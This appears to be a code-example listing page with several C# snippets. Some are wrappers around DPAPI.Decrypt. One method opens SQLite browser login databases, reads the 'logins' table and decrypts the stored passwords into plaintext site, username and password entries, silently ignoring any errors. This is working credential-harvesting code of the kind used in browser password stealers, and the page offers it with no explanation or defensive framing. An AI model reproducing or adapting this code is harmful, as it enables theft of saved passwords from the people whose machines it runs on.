Beispiel #1
0
 public static string Decrypt(string cipherText, string entropy, out string description)
 {
     if (entropy == null)
     {
         entropy = string.Empty;
     }
     return(Encoding.UTF8.GetString(DPAPI.Decrypt(Convert.FromBase64String(cipherText), Encoding.UTF8.GetBytes(entropy), out description)));
 }
        public static void decrypt(List <string> db_ways, List <string[]> general)
        {
            if (db_ways != null)
            {
                try
                {
                    foreach (string current in db_ways)
                    {
                        string[] array = new string[4];
                        array[0] = "################################################";
                        array[1] = current;
                        array[2] = "################################################";
                        general.Add(array);
                        int       count        = general.Count;
                        string    arg          = "logins";
                        byte[]    entropyBytes = null;
                        string    connstring   = "data source=" + current + ";New=True;UseUTF16Encoding=True";
                        DataTable dataTable    = new DataTable();

                        string commandstring = string.Format("SELECT * FROM {0}", arg);
                        var    connection    = new SQLiteConnection(connstring);
                        var    command       = new SQLiteCommand(commandstring, connection);
                        var    adapter       = new SQLiteDataAdapter(command);
                        adapter.Fill(dataTable);
                        int count2 = dataTable.Rows.Count;
                        for (int i = 0; i < count2; i++)
                        {
                            string[] array2 = new string[4];
                            array2[0] = string.Format("{0})", i + count + 1);
                            array2[1] = (string)dataTable.Rows[i][1];
                            array2[2] = (string)dataTable.Rows[i][3];
                            byte[] cipherTextBytes = (byte[])dataTable.Rows[i][5];
                            string text3;
                            byte[] bytes   = DPAPI.Decrypt(cipherTextBytes, entropyBytes, out text3);
                            string @string = new UTF8Encoding(true).GetString(bytes);
                            array2[3] = @string;
                            general.Add(array2);
                        }
                    }
                }
                catch
                {
                }
            }
        }
Beispiel #3
0
 public static string Decrypt(string cipherText, out string description)
 {
     return(DPAPI.Decrypt(cipherText, string.Empty, out description));
 }
Beispiel #4
0
        public static string Decrypt(string cipherText)
        {
            string text;

            return(DPAPI.Decrypt(cipherText, string.Empty, out text));
        }